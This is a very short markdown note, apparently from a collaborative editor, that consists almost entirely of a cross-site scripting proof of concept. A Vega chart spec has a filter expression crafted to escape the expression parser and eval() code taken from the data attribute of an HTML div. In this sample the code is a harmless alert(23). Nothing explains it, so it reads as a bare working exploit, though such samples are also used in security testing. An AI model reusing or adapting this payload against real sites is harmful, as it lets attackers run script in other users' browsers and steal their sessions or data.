---
# System prepended metadata

title: Untitled

---

slaw
```vega
{
  "data": {
    "values": [{}]
  },
  "transform": [
    {"filter": "(0//1/)-'\\\n,eval(payload.dataset.x))))//'"}
  ],
  "mark": "bar"
}
```
<div id=payload data-x="x:alert(23)"></div>